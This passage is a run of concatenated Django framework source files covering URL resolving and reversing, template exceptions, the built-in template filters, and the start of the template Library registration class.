class LocaleRegexURLResolver(RegexURLResolver):
    """
    A URL resolver that always matches the active language code as URL prefix.

    Rather than taking a regex argument, we just override the ``regex``
    function to always return the active language-code as regex.
    """
    def __init__(
        self, urlconf_name, default_kwargs=None, app_name=None, namespace=None,
        prefix_default_language=True,
    ):
        super(LocaleRegexURLResolver, self).__init__(
            None, urlconf_name, default_kwargs, app_name, namespace,
        )
        self.prefix_default_language = prefix_default_language

    @property
    def regex(self):
        language_code = get_language() or settings.LANGUAGE_CODE
        if language_code not in self._regex_dict:
            if language_code == settings.LANGUAGE_CODE and not self.prefix_default_language:
                regex_string = ''
            else:
                regex_string = '^%s/' % language_code
            self._regex_dict[language_code] = re.compile(regex_string, re.UNICODE)
        return self._regex_dict[language_code]






from __future__ import unicode_literals

from threading import local

from django.utils import six
from django.utils.encoding import force_text, iri_to_uri
from django.utils.functional import lazy
from django.utils.six.moves.urllib.parse import urlsplit, urlunsplit
from django.utils.translation import override

from .exceptions import NoReverseMatch, Resolver404
from .resolvers import get_ns_resolver, get_resolver
from .utils import get_callable

# SCRIPT_NAME prefixes for each thread are stored here. If there's no entry for
# the current thread (which is the only one we ever access), it is assumed to
# be empty.
_prefixes = local()

# Overridden URLconfs for each thread are stored here.
_urlconfs = local()


def resolve(path, urlconf=None):
    if urlconf is None:
        urlconf = get_urlconf()
    return get_resolver(urlconf).resolve(path)


def reverse(viewname, urlconf=None, args=None, kwargs=None, current_app=None):
    if urlconf is None:
        urlconf = get_urlconf()
    resolver = get_resolver(urlconf)
    args = args or []
    kwargs = kwargs or {}

    prefix = get_script_prefix()

    if not isinstance(viewname, six.string_types):
        view = viewname
    else:
        parts = viewname.split(':')
        parts.reverse()
        view = parts[0]
        path = parts[1:]

        if current_app:
            current_path = current_app.split(':')
            current_path.reverse()
        else:
            current_path = None

        resolved_path = []
        ns_pattern = ''
        while path:
            ns = path.pop()
            current_ns = current_path.pop() if current_path else None
            # Lookup the name to see if it could be an app identifier.
            try:
                app_list = resolver.app_dict[ns]
                # Yes! Path part matches an app in the current Resolver.
                if current_ns and current_ns in app_list:
                    # If we are reversing for a particular app, use that
                    # namespace.
                    ns = current_ns
                elif ns not in app_list:
                    # The name isn't shared by one of the instances (i.e.,
                    # the default) so pick the first instance as the default.
                    ns = app_list[0]
            except KeyError:
                pass

            if ns != current_ns:
                current_path = None

            try:
                extra, resolver = resolver.namespace_dict[ns]
                resolved_path.append(ns)
                ns_pattern = ns_pattern + extra
            except KeyError as key:
                if resolved_path:
                    raise NoReverseMatch(
                        "%s is not a registered namespace inside '%s'" %
                        (key, ':'.join(resolved_path))
                    )
                else:
                    raise NoReverseMatch("%s is not a registered namespace" % key)
        if ns_pattern:
            resolver = get_ns_resolver(ns_pattern, resolver)

    return force_text(iri_to_uri(resolver._reverse_with_prefix(view, prefix, *args, **kwargs)))

reverse_lazy = lazy(reverse, six.text_type)


def clear_url_caches():
    get_callable.cache_clear()
    get_resolver.cache_clear()
    get_ns_resolver.cache_clear()


def set_script_prefix(prefix):
    """
    Set the script prefix for the current thread.
    """
    if not prefix.endswith('/'):
        prefix += '/'
    _prefixes.value = prefix


def get_script_prefix():
    """
    Return the currently active script prefix. Useful for client code that
    wishes to construct their own URLs manually (although accessing the request
    instance is normally going to be a lot cleaner).
    """
    return getattr(_prefixes, "value", '/')


def clear_script_prefix():
    """
    Unset the script prefix for the current thread.
    """
    try:
        del _prefixes.value
    except AttributeError:
        pass


def set_urlconf(urlconf_name):
    """
    Set the URLconf for the current thread (overriding the default one in
    settings). If urlconf_name is None, revert back to the default.
    """
    if urlconf_name:
        _urlconfs.value = urlconf_name
    else:
        if hasattr(_urlconfs, "value"):
            del _urlconfs.value


def get_urlconf(default=None):
    """
    Return the root URLconf to use for the current thread if it has been
    changed from the default one.
    """
    return getattr(_urlconfs, "value", default)


def is_valid_path(path, urlconf=None):
    """
    Return True if the given path resolves against the default URL resolver,
    False otherwise. This is a convenience method to make working with "is
    this a match?" cases easier, avoiding try...except blocks.
    """
    try:
        resolve(path, urlconf)
        return True
    except Resolver404:
        return False


def translate_url(url, lang_code):
    """
    Given a URL (absolute or relative), try to get its translated version in
    the `lang_code` language (either by i18n_patterns or by translated regex).
    Return the original URL if no translated version is found.
    """
    parsed = urlsplit(url)
    try:
        match = resolve(parsed.path)
    except Resolver404:
        pass
    else:
        to_be_reversed = "%s:%s" % (match.namespace, match.url_name) if match.namespace else match.url_name
        with override(lang_code):
            try:
                url = reverse(to_be_reversed, args=match.args, kwargs=match.kwargs)
            except NoReverseMatch:
                pass
            else:
                url = urlunsplit((parsed.scheme, parsed.netloc, url, parsed.query, parsed.fragment))
    return url






from .base import (
    clear_script_prefix, clear_url_caches, get_script_prefix, get_urlconf,
    is_valid_path, resolve, reverse, reverse_lazy, set_script_prefix,
    set_urlconf, translate_url,
)
from .exceptions import NoReverseMatch, Resolver404
from .resolvers import (
    LocaleRegexProvider, LocaleRegexURLResolver, RegexURLPattern,
    RegexURLResolver, ResolverMatch, get_ns_resolver, get_resolver,
)
from .utils import get_callable, get_mod_func

__all__ = [
    'LocaleRegexProvider', 'LocaleRegexURLResolver', 'NoReverseMatch',
    'RegexURLPattern', 'RegexURLResolver', 'Resolver404', 'ResolverMatch',
    'clear_script_prefix', 'clear_url_caches', 'get_callable', 'get_mod_func',
    'get_ns_resolver', 'get_resolver', 'get_script_prefix', 'get_urlconf',
    'is_valid_path', 'resolve', 'reverse', 'reverse_lazy', 'set_script_prefix',
    'set_urlconf', 'translate_url',
]






from __future__ import unicode_literals

from importlib import import_module

from django.core.exceptions import ViewDoesNotExist
from django.utils import lru_cache, six
from django.utils.module_loading import module_has_submodule


@lru_cache.lru_cache(maxsize=None)
def get_callable(lookup_view):
    """
    Return a callable corresponding to lookup_view.
    * If lookup_view is already a callable, return it.
    * If lookup_view is a string import path that can be resolved to a callable,
      import that callable and return it, otherwise raise an exception
      (ImportError or ViewDoesNotExist).
    """
    if callable(lookup_view):
        return lookup_view

    if not isinstance(lookup_view, six.string_types):
        raise ViewDoesNotExist("'%s' is not a callable or a dot-notation path" % lookup_view)

    mod_name, func_name = get_mod_func(lookup_view)
    if not func_name:  # No '.' in lookup_view
        raise ImportError("Could not import '%s'. The path must be fully qualified." % lookup_view)

    try:
        mod = import_module(mod_name)
    except ImportError:
        parentmod, submod = get_mod_func(mod_name)
        if submod and not module_has_submodule(import_module(parentmod), submod):
            raise ViewDoesNotExist(
                "Could not import '%s'. Parent module %s does not exist." %
                (lookup_view, mod_name)
            )
        else:
            raise
    else:
        try:
            view_func = getattr(mod, func_name)
        except AttributeError:
            raise ViewDoesNotExist(
                "Could not import '%s'. View does not exist in module %s." %
                (lookup_view, mod_name)
            )
        else:
            if not callable(view_func):
                raise ViewDoesNotExist(
                    "Could not import '%s.%s'. View is not callable." %
                    (mod_name, func_name)
                )
            return view_func


def get_mod_func(callback):
    # Convert 'django.views.news.stories.story_detail' to
    # ['django.views.news.stories', 'story_detail']
    try:
        dot = callback.rindex('.')
    except ValueError:
        return callback, ''
    return callback[:dot], callback[dot + 1:]






"""
This module contains generic exceptions used by template backends. Although,
due to historical reasons, the Django template language also internally uses
these exceptions, other exceptions specific to the DTL should not be added
here.
"""


class TemplateDoesNotExist(Exception):
    """
    The exception used when a template does not exist. Accepts the following
    optional arguments:

    backend
        The template backend class used when raising this exception.

    tried
        A list of sources that were tried when finding the template. This
        is formatted as a list of tuples containing (origin, status), where
        origin is an Origin object or duck type and status is a string with the
        reason the template wasn't found.

    chain
        A list of intermediate TemplateDoesNotExist exceptions. This is used to
        encapsulate multiple exceptions when loading templates from multiple
        engines.
    """
    def __init__(self, msg, tried=None, backend=None, chain=None):
        self.backend = backend
        if tried is None:
            tried = []
        self.tried = tried
        if chain is None:
            chain = []
        self.chain = chain
        super(TemplateDoesNotExist, self).__init__(msg)


class TemplateSyntaxError(Exception):
    """
    The exception used for syntax errors during parsing or rendering.
    """
    pass






"""Default variable filters."""
from __future__ import unicode_literals

import random as random_module
import re
import warnings
from decimal import ROUND_HALF_UP, Context, Decimal, InvalidOperation
from functools import wraps
from operator import itemgetter
from pprint import pformat

from django.utils import formats, six
from django.utils.dateformat import format, time_format
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.encoding import force_text, iri_to_uri
from django.utils.html import (
    avoid_wrapping, conditional_escape, escape, escapejs, linebreaks,
    strip_tags, urlize as _urlize,
)
from django.utils.http import urlquote
from django.utils.safestring import SafeData, mark_for_escaping, mark_safe
from django.utils.text import (
    Truncator, normalize_newlines, phone2numeric, slugify as _slugify, wrap,
)
from django.utils.timesince import timesince, timeuntil
from django.utils.translation import ugettext, ungettext

from .base import Variable, VariableDoesNotExist
from .library import Library

register = Library()


#######################
# STRING DECORATOR    #
#######################

def stringfilter(func):
    """
    Decorator for filters which should only receive unicode objects. The object
    passed as the first positional argument will be converted to a unicode
    object.
    """
    def _dec(*args, **kwargs):
        if args:
            args = list(args)
            args[0] = force_text(args[0])
            if (isinstance(args[0], SafeData) and
                    getattr(_dec._decorated_function, 'is_safe', False)):
                return mark_safe(func(*args, **kwargs))
        return func(*args, **kwargs)

    # Include a reference to the real function (used to check original
    # arguments by the template parser, and to bear the 'is_safe' attribute
    # when multiple decorators are applied).
    _dec._decorated_function = getattr(func, '_decorated_function', func)

    return wraps(func)(_dec)


###################
# STRINGS         #
###################

@register.filter(is_safe=True)
@stringfilter
def addslashes(value):
    """
    Adds slashes before quotes. Useful for escaping strings in CSV, for
    example. Less useful for escaping JavaScript; use the ``escapejs``
    filter instead.
    """
    return value.replace('\\', '\\\\').replace('"', '\\"').replace("'", "\\'")


@register.filter(is_safe=True)
@stringfilter
def capfirst(value):
    """Capitalizes the first character of the value."""
    return value and value[0].upper() + value[1:]


@register.filter("escapejs")
@stringfilter
def escapejs_filter(value):
    """Hex encodes characters for use in JavaScript strings."""
    return escapejs(value)


# Values for testing floatformat input against infinity and NaN representations,
# which differ across platforms and Python versions.  Some (i.e. old Windows
# ones) are not recognized by Decimal but we want to return them unchanged vs.
# returning an empty string as we do for completely invalid input.  Note these
# need to be built up from values that are not inf/nan, since inf/nan values do
# not reload properly from .pyc files on Windows prior to some level of Python 2.5
# (see Python Issue757815 and Issue1080440).
pos_inf = 1e200 * 1e200
neg_inf = -1e200 * 1e200
nan = (1e200 * 1e200) // (1e200 * 1e200)
special_floats = [str(pos_inf), str(neg_inf), str(nan)]


@register.filter(is_safe=True)
def floatformat(text, arg=-1):
    """
    Displays a float to a specified number of decimal places.

    If called without an argument, it displays the floating point number with
    one decimal place -- but only if there's a decimal place to be displayed:

    * num1 = 34.23234
    * num2 = 34.00000
    * num3 = 34.26000
    * {{ num1|floatformat }} displays "34.2"
    * {{ num2|floatformat }} displays "34"
    * {{ num3|floatformat }} displays "34.3"

    If arg is positive, it will always display exactly arg number of decimal
    places:

    * {{ num1|floatformat:3 }} displays "34.232"
    * {{ num2|floatformat:3 }} displays "34.000"
    * {{ num3|floatformat:3 }} displays "34.260"

    If arg is negative, it will display arg number of decimal places -- but
    only if there are places to be displayed:

    * {{ num1|floatformat:"-3" }} displays "34.232"
    * {{ num2|floatformat:"-3" }} displays "34"
    * {{ num3|floatformat:"-3" }} displays "34.260"

    If the input float is infinity or NaN, the (platform-dependent) string
    representation of that value will be displayed.
    """

    try:
        input_val = force_text(text)
        d = Decimal(input_val)
    except UnicodeEncodeError:
        return ''
    except InvalidOperation:
        if input_val in special_floats:
            return input_val
        try:
            d = Decimal(force_text(float(text)))
        except (ValueError, InvalidOperation, TypeError, UnicodeEncodeError):
            return ''
    try:
        p = int(arg)
    except ValueError:
        return input_val

    try:
        m = int(d) - d
    except (ValueError, OverflowError, InvalidOperation):
        return input_val

    if not m and p < 0:
        return mark_safe(formats.number_format('%d' % (int(d)), 0))

    if p == 0:
        exp = Decimal(1)
    else:
        exp = Decimal('1.0') / (Decimal(10) ** abs(p))
    try:
        # Set the precision high enough to avoid an exception, see #15789.
        tupl = d.as_tuple()
        units = len(tupl[1]) - tupl[2]
        prec = abs(p) + units + 1

        # Avoid conversion to scientific notation by accessing `sign`, `digits`
        # and `exponent` from `Decimal.as_tuple()` directly.
        sign, digits, exponent = d.quantize(exp, ROUND_HALF_UP, Context(prec=prec)).as_tuple()
        digits = [six.text_type(digit) for digit in reversed(digits)]
        while len(digits) <= abs(exponent):
            digits.append('0')
        digits.insert(-exponent, '.')
        if sign:
            digits.append('-')
        number = ''.join(reversed(digits))
        return mark_safe(formats.number_format(number, abs(p)))
    except InvalidOperation:
        return input_val


@register.filter(is_safe=True)
@stringfilter
def iriencode(value):
    """Escapes an IRI value for use in a URL."""
    return force_text(iri_to_uri(value))


@register.filter(is_safe=True, needs_autoescape=True)
@stringfilter
def linenumbers(value, autoescape=True):
    """Displays text with line numbers."""
    lines = value.split('\n')
    # Find the maximum width of the line count, for use with zero padding
    # string format command
    width = six.text_type(len(six.text_type(len(lines))))
    if not autoescape or isinstance(value, SafeData):
        for i, line in enumerate(lines):
            lines[i] = ("%0" + width + "d. %s") % (i + 1, line)
    else:
        for i, line in enumerate(lines):
            lines[i] = ("%0" + width + "d. %s") % (i + 1, escape(line))
    return mark_safe('\n'.join(lines))


@register.filter(is_safe=True)
@stringfilter
def lower(value):
    """Converts a string into all lowercase."""
    return value.lower()


@register.filter(is_safe=False)
@stringfilter
def make_list(value):
    """
    Returns the value turned into a list.

    For an integer, it's a list of digits.
    For a string, it's a list of characters.
    """
    return list(value)


@register.filter(is_safe=True)
@stringfilter
def slugify(value):
    """
    Converts to ASCII. Converts spaces to hyphens. Removes characters that
    aren't alphanumerics, underscores, or hyphens. Converts to lowercase.
    Also strips leading and trailing whitespace.
    """
    return _slugify(value)


@register.filter(is_safe=True)
def stringformat(value, arg):
    """
    Formats the variable according to the arg, a string formatting specifier.

    This specifier uses Python string formating syntax, with the exception that
    the leading "%" is dropped.

    See https://docs.python.org/3/library/stdtypes.html#printf-style-string-formatting
    for documentation of Python string formatting.
    """
    try:
        return ("%" + six.text_type(arg)) % value
    except (ValueError, TypeError):
        return ""


@register.filter(is_safe=True)
@stringfilter
def title(value):
    """Converts a string into titlecase."""
    t = re.sub("([a-z])'([A-Z])", lambda m: m.group(0).lower(), value.title())
    return re.sub("\d([A-Z])", lambda m: m.group(0).lower(), t)


@register.filter(is_safe=True)
@stringfilter
def truncatechars(value, arg):
    """
    Truncates a string after a certain number of characters.

    Argument: Number of characters to truncate after.
    """
    try:
        length = int(arg)
    except ValueError:  # Invalid literal for int().
        return value  # Fail silently.
    return Truncator(value).chars(length)


@register.filter(is_safe=True)
@stringfilter
def truncatechars_html(value, arg):
    """
    Truncates HTML after a certain number of chars.

    Argument: Number of chars to truncate after.

    Newlines in the HTML are preserved.
    """
    try:
        length = int(arg)
    except ValueError:  # invalid literal for int()
        return value  # Fail silently.
    return Truncator(value).chars(length, html=True)


@register.filter(is_safe=True)
@stringfilter
def truncatewords(value, arg):
    """
    Truncates a string after a certain number of words.

    Argument: Number of words to truncate after.

    Newlines within the string are removed.
    """
    try:
        length = int(arg)
    except ValueError:  # Invalid literal for int().
        return value  # Fail silently.
    return Truncator(value).words(length, truncate=' ...')


@register.filter(is_safe=True)
@stringfilter
def truncatewords_html(value, arg):
    """
    Truncates HTML after a certain number of words.

    Argument: Number of words to truncate after.

    Newlines in the HTML are preserved.
    """
    try:
        length = int(arg)
    except ValueError:  # invalid literal for int()
        return value  # Fail silently.
    return Truncator(value).words(length, html=True, truncate=' ...')


@register.filter(is_safe=False)
@stringfilter
def upper(value):
    """Converts a string into all uppercase."""
    return value.upper()


@register.filter(is_safe=False)
@stringfilter
def urlencode(value, safe=None):
    """
    Escapes a value for use in a URL.

    Takes an optional ``safe`` parameter used to determine the characters which
    should not be escaped by Django's ``urlquote`` method. If not provided, the
    default safe characters will be used (but an empty string can be provided
    when *all* characters should be escaped).
    """
    kwargs = {}
    if safe is not None:
        kwargs['safe'] = safe
    return urlquote(value, **kwargs)


@register.filter(is_safe=True, needs_autoescape=True)
@stringfilter
def urlize(value, autoescape=True):
    """Converts URLs in plain text into clickable links."""
    return mark_safe(_urlize(value, nofollow=True, autoescape=autoescape))


@register.filter(is_safe=True, needs_autoescape=True)
@stringfilter
def urlizetrunc(value, limit, autoescape=True):
    """
    Converts URLs into clickable links, truncating URLs to the given character
    limit, and adding 'rel=nofollow' attribute to discourage spamming.

    Argument: Length to truncate URLs to.
    """
    return mark_safe(_urlize(value, trim_url_limit=int(limit), nofollow=True, autoescape=autoescape))


@register.filter(is_safe=False)
@stringfilter
def wordcount(value):
    """Returns the number of words."""
    return len(value.split())


@register.filter(is_safe=True)
@stringfilter
def wordwrap(value, arg):
    """
    Wraps words at specified line length.

    Argument: number of characters to wrap the text at.
    """
    return wrap(value, int(arg))


@register.filter(is_safe=True)
@stringfilter
def ljust(value, arg):
    """
    Left-aligns the value in a field of a given width.

    Argument: field size.
    """
    return value.ljust(int(arg))


@register.filter(is_safe=True)
@stringfilter
def rjust(value, arg):
    """
    Right-aligns the value in a field of a given width.

    Argument: field size.
    """
    return value.rjust(int(arg))


@register.filter(is_safe=True)
@stringfilter
def center(value, arg):
    """Centers the value in a field of a given width."""
    return value.center(int(arg))


@register.filter
@stringfilter
def cut(value, arg):
    """
    Removes all values of arg from the given string.
    """
    safe = isinstance(value, SafeData)
    value = value.replace(arg, '')
    if safe and arg != ';':
        return mark_safe(value)
    return value


###################
# HTML STRINGS    #
###################

@register.filter("escape", is_safe=True)
@stringfilter
def escape_filter(value):
    """
    Marks the value as a string that should be auto-escaped.
    """
    with warnings.catch_warnings():
        # Ignore mark_for_escaping deprecation -- this will use
        # conditional_escape() in Django 2.0.
        warnings.simplefilter('ignore', category=RemovedInDjango20Warning)
        return mark_for_escaping(value)


@register.filter(is_safe=True)
@stringfilter
def force_escape(value):
    """
    Escapes a string's HTML. This returns a new string containing the escaped
    characters (as opposed to "escape", which marks the content for later
    possible escaping).
    """
    return escape(value)


@register.filter("linebreaks", is_safe=True, needs_autoescape=True)
@stringfilter
def linebreaks_filter(value, autoescape=True):
    """
    Replaces line breaks in plain text with appropriate HTML; a single
    newline becomes an HTML line break (``<br />``) and a new line
    followed by a blank line becomes a paragraph break (``</p>``).
    """
    autoescape = autoescape and not isinstance(value, SafeData)
    return mark_safe(linebreaks(value, autoescape))


@register.filter(is_safe=True, needs_autoescape=True)
@stringfilter
def linebreaksbr(value, autoescape=True):
    """
    Converts all newlines in a piece of plain text to HTML line breaks
    (``<br />``).
    """
    autoescape = autoescape and not isinstance(value, SafeData)
    value = normalize_newlines(value)
    if autoescape:
        value = escape(value)
    return mark_safe(value.replace('\n', '<br />'))


@register.filter(is_safe=True)
@stringfilter
def safe(value):
    """
    Marks the value as a string that should not be auto-escaped.
    """
    return mark_safe(value)


@register.filter(is_safe=True)
def safeseq(value):
    """
    A "safe" filter for sequences. Marks each element in the sequence,
    individually, as safe, after converting them to unicode. Returns a list
    with the results.
    """
    return [mark_safe(force_text(obj)) for obj in value]


@register.filter(is_safe=True)
@stringfilter
def striptags(value):
    """Strips all [X]HTML tags."""
    return strip_tags(value)


###################
# LISTS           #
###################

def _property_resolver(arg):
    """
    When arg is convertible to float, behave like operator.itemgetter(arg)
    Otherwise, behave like Variable(arg).resolve

    >>> _property_resolver(1)('abc')
    'b'
    >>> _property_resolver('1')('abc')
    Traceback (most recent call last):
    ...
    TypeError: string indices must be integers
    >>> class Foo:
    ...     a = 42
    ...     b = 3.14
    ...     c = 'Hey!'
    >>> _property_resolver('b')(Foo())
    3.14
    """
    try:
        float(arg)
    except ValueError:
        return Variable(arg).resolve
    else:
        return itemgetter(arg)


@register.filter(is_safe=False)
def dictsort(value, arg):
    """
    Takes a list of dicts, returns that list sorted by the property given in
    the argument.
    """
    try:
        return sorted(value, key=_property_resolver(arg))
    except (TypeError, VariableDoesNotExist):
        return ''


@register.filter(is_safe=False)
def dictsortreversed(value, arg):
    """
    Takes a list of dicts, returns that list sorted in reverse order by the
    property given in the argument.
    """
    try:
        return sorted(value, key=_property_resolver(arg), reverse=True)
    except (TypeError, VariableDoesNotExist):
        return ''


@register.filter(is_safe=False)
def first(value):
    """Returns the first item in a list."""
    try:
        return value[0]
    except IndexError:
        return ''


@register.filter(is_safe=True, needs_autoescape=True)
def join(value, arg, autoescape=True):
    """
    Joins a list with a string, like Python's ``str.join(list)``.
    """
    value = map(force_text, value)
    if autoescape:
        value = [conditional_escape(v) for v in value]
    try:
        data = conditional_escape(arg).join(value)
    except AttributeError:  # fail silently but nicely
        return value
    return mark_safe(data)


@register.filter(is_safe=True)
def last(value):
    "Returns the last item in a list"
    try:
        return value[-1]
    except IndexError:
        return ''


@register.filter(is_safe=False)
def length(value):
    """Returns the length of the value - useful for lists."""
    try:
        return len(value)
    except (ValueError, TypeError):
        return 0


@register.filter(is_safe=False)
def length_is(value, arg):
    """Returns a boolean of whether the value's length is the argument."""
    try:
        return len(value) == int(arg)
    except (ValueError, TypeError):
        return ''


@register.filter(is_safe=True)
def random(value):
    """Returns a random item from the list."""
    return random_module.choice(value)


@register.filter("slice", is_safe=True)
def slice_filter(value, arg):
    """
    Returns a slice of the list.

    Uses the same syntax as Python's list slicing; see
    http://www.diveintopython3.net/native-datatypes.html#slicinglists
    for an introduction.
    """
    try:
        bits = []
        for x in arg.split(':'):
            if len(x) == 0:
                bits.append(None)
            else:
                bits.append(int(x))
        return value[slice(*bits)]

    except (ValueError, TypeError):
        return value  # Fail silently.


@register.filter(is_safe=True, needs_autoescape=True)
def unordered_list(value, autoescape=True):
    """
    Recursively takes a self-nested list and returns an HTML unordered list --
    WITHOUT opening and closing <ul> tags.

    The list is assumed to be in the proper format. For example, if ``var``
    contains: ``['States', ['Kansas', ['Lawrence', 'Topeka'], 'Illinois']]``,
    then ``{{ var|unordered_list }}`` would return::

        <li>States
        <ul>
                <li>Kansas
                <ul>
                        <li>Lawrence</li>
                        <li>Topeka</li>
                </ul>
                </li>
                <li>Illinois</li>
        </ul>
        </li>
    """
    if autoescape:
        escaper = conditional_escape
    else:
        def escaper(x):
            return x

    def walk_items(item_list):
        item_iterator = iter(item_list)
        try:
            item = next(item_iterator)
            while True:
                try:
                    next_item = next(item_iterator)
                except StopIteration:
                    yield item, None
                    break
                if not isinstance(next_item, six.string_types):
                    try:
                        iter(next_item)
                    except TypeError:
                        pass
                    else:
                        yield item, next_item
                        item = next(item_iterator)
                        continue
                yield item, None
                item = next_item
        except StopIteration:
            pass

    def list_formatter(item_list, tabs=1):
        indent = '\t' * tabs
        output = []
        for item, children in walk_items(item_list):
            sublist = ''
            if children:
                sublist = '\n%s<ul>\n%s\n%s</ul>\n%s' % (
                    indent, list_formatter(children, tabs + 1), indent, indent)
            output.append('%s<li>%s%s</li>' % (
                indent, escaper(force_text(item)), sublist))
        return '\n'.join(output)

    return mark_safe(list_formatter(value))


###################
# INTEGERS        #
###################

@register.filter(is_safe=False)
def add(value, arg):
    """Adds the arg to the value."""
    try:
        return int(value) + int(arg)
    except (ValueError, TypeError):
        try:
            return value + arg
        except Exception:
            return ''


@register.filter(is_safe=False)
def get_digit(value, arg):
    """
    Given a whole number, returns the requested digit of it, where 1 is the
    right-most digit, 2 is the second-right-most digit, etc. Returns the
    original value for invalid input (if input or argument is not an integer,
    or if argument is less than 1). Otherwise, output is always an integer.
    """
    try:
        arg = int(arg)
        value = int(value)
    except ValueError:
        return value  # Fail silently for an invalid argument
    if arg < 1:
        return value
    try:
        return int(str(value)[-arg])
    except IndexError:
        return 0


###################
# DATES           #
###################

@register.filter(expects_localtime=True, is_safe=False)
def date(value, arg=None):
    """Formats a date according to the given format."""
    if value in (None, ''):
        return ''
    try:
        return formats.date_format(value, arg)
    except AttributeError:
        try:
            return format(value, arg)
        except AttributeError:
            return ''


@register.filter(expects_localtime=True, is_safe=False)
def time(value, arg=None):
    """Formats a time according to the given format."""
    if value in (None, ''):
        return ''
    try:
        return formats.time_format(value, arg)
    except (AttributeError, TypeError):
        try:
            return time_format(value, arg)
        except (AttributeError, TypeError):
            return ''


@register.filter("timesince", is_safe=False)
def timesince_filter(value, arg=None):
    """Formats a date as the time since that date (i.e. "4 days, 6 hours")."""
    if not value:
        return ''
    try:
        if arg:
            return timesince(value, arg)
        return timesince(value)
    except (ValueError, TypeError):
        return ''


@register.filter("timeuntil", is_safe=False)
def timeuntil_filter(value, arg=None):
    """Formats a date as the time until that date (i.e. "4 days, 6 hours")."""
    if not value:
        return ''
    try:
        return timeuntil(value, arg)
    except (ValueError, TypeError):
        return ''


###################
# LOGIC           #
###################

@register.filter(is_safe=False)
def default(value, arg):
    """If value is unavailable, use given default."""
    return value or arg


@register.filter(is_safe=False)
def default_if_none(value, arg):
    """If value is None, use given default."""
    if value is None:
        return arg
    return value


@register.filter(is_safe=False)
def divisibleby(value, arg):
    """Returns True if the value is divisible by the argument."""
    return int(value) % int(arg) == 0


@register.filter(is_safe=False)
def yesno(value, arg=None):
    """
    Given a string mapping values for true, false and (optionally) None,
    returns one of those strings according to the value:

    ==========  ======================  ==================================
    Value       Argument                Outputs
    ==========  ======================  ==================================
    ``True``    ``"yeah,no,maybe"``     ``yeah``
    ``False``   ``"yeah,no,maybe"``     ``no``
    ``None``    ``"yeah,no,maybe"``     ``maybe``
    ``None``    ``"yeah,no"``           ``"no"`` (converts None to False
                                        if no mapping for None is given.
    ==========  ======================  ==================================
    """
    if arg is None:
        arg = ugettext('yes,no,maybe')
    bits = arg.split(',')
    if len(bits) < 2:
        return value  # Invalid arg.
    try:
        yes, no, maybe = bits
    except ValueError:
        # Unpack list of wrong size (no "maybe" value provided).
        yes, no, maybe = bits[0], bits[1], bits[1]
    if value is None:
        return maybe
    if value:
        return yes
    return no


###################
# MISC            #
###################

@register.filter(is_safe=True)
def filesizeformat(bytes_):
    """
    Formats the value like a 'human-readable' file size (i.e. 13 KB, 4.1 MB,
    102 bytes, etc.).
    """
    try:
        bytes_ = float(bytes_)
    except (TypeError, ValueError, UnicodeDecodeError):
        value = ungettext("%(size)d byte", "%(size)d bytes", 0) % {'size': 0}
        return avoid_wrapping(value)

    def filesize_number_format(value):
        return formats.number_format(round(value, 1), 1)

    KB = 1 << 10
    MB = 1 << 20
    GB = 1 << 30
    TB = 1 << 40
    PB = 1 << 50

    negative = bytes_ < 0
    if negative:
        bytes_ = -bytes_  # Allow formatting of negative numbers.

    if bytes_ < KB:
        value = ungettext("%(size)d byte", "%(size)d bytes", bytes_) % {'size': bytes_}
    elif bytes_ < MB:
        value = ugettext("%s KB") % filesize_number_format(bytes_ / KB)
    elif bytes_ < GB:
        value = ugettext("%s MB") % filesize_number_format(bytes_ / MB)
    elif bytes_ < TB:
        value = ugettext("%s GB") % filesize_number_format(bytes_ / GB)
    elif bytes_ < PB:
        value = ugettext("%s TB") % filesize_number_format(bytes_ / TB)
    else:
        value = ugettext("%s PB") % filesize_number_format(bytes_ / PB)

    if negative:
        value = "-%s" % value
    return avoid_wrapping(value)


@register.filter(is_safe=False)
def pluralize(value, arg='s'):
    """
    Returns a plural suffix if the value is not 1. By default, 's' is used as
    the suffix:

    * If value is 0, vote{{ value|pluralize }} displays "0 votes".
    * If value is 1, vote{{ value|pluralize }} displays "1 vote".
    * If value is 2, vote{{ value|pluralize }} displays "2 votes".

    If an argument is provided, that string is used instead:

    * If value is 0, class{{ value|pluralize:"es" }} displays "0 classes".
    * If value is 1, class{{ value|pluralize:"es" }} displays "1 class".
    * If value is 2, class{{ value|pluralize:"es" }} displays "2 classes".

    If the provided argument contains a comma, the text before the comma is
    used for the singular case and the text after the comma is used for the
    plural case:

    * If value is 0, cand{{ value|pluralize:"y,ies" }} displays "0 candies".
    * If value is 1, cand{{ value|pluralize:"y,ies" }} displays "1 candy".
    * If value is 2, cand{{ value|pluralize:"y,ies" }} displays "2 candies".
    """
    if ',' not in arg:
        arg = ',' + arg
    bits = arg.split(',')
    if len(bits) > 2:
        return ''
    singular_suffix, plural_suffix = bits[:2]

    try:
        if float(value) != 1:
            return plural_suffix
    except ValueError:  # Invalid string that's not a number.
        pass
    except TypeError:  # Value isn't a string or a number; maybe it's a list?
        try:
            if len(value) != 1:
                return plural_suffix
        except TypeError:  # len() of unsized object.
            pass
    return singular_suffix


@register.filter("phone2numeric", is_safe=True)
def phone2numeric_filter(value):
    """Takes a phone number and converts it in to its numerical equivalent."""
    return phone2numeric(value)


@register.filter(is_safe=True)
def pprint(value):
    """A wrapper around pprint.pprint -- for debugging, really."""
    try:
        return pformat(value)
    except Exception as e:
        return "Error in formatting: %s: %s" % (e.__class__.__name__, force_text(e, errors="replace"))






import functools
import warnings
from importlib import import_module

from django.utils import six
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.html import conditional_escape
from django.utils.inspect import getargspec
from django.utils.itercompat import is_iterable

from .base import Node, Template, token_kwargs
from .exceptions import TemplateSyntaxError


class InvalidTemplateLibrary(Exception):
    pass


class Library(object):
    """
    A class for registering template tags and filters. Compiled filter and
    template tag functions are stored in the filters and tags attributes.
    The filter, simple_tag, and inclusion_tag methods provide a convenient
    way to register callables as tags.
    """
    def __init__(self):
        self.filters = {}
        self.tags = {}

    def tag(self, name=None, compile_function=None):
        if name is None and compile_function is None:
            # @register.tag()
            return self.tag_function
        elif name is not None and compile_function is None:
            if callable(name):
                # @register.tag
                return self.tag_function(name)
            else:
                # @register.tag('somename') or @register.tag(name='somename')
                def dec(func):
                    return self.tag(name, func)
                return dec
        elif name is not None and compile_function is not None:
            # register.tag('somename', somefunc)
            self.tags[name] = compile_function
            return compile_function
        else:
            raise ValueError(
                "Unsupported arguments to Library.tag: (%r, %r)" %
                (name, compile_function),
            )

    def tag_function(self, func):
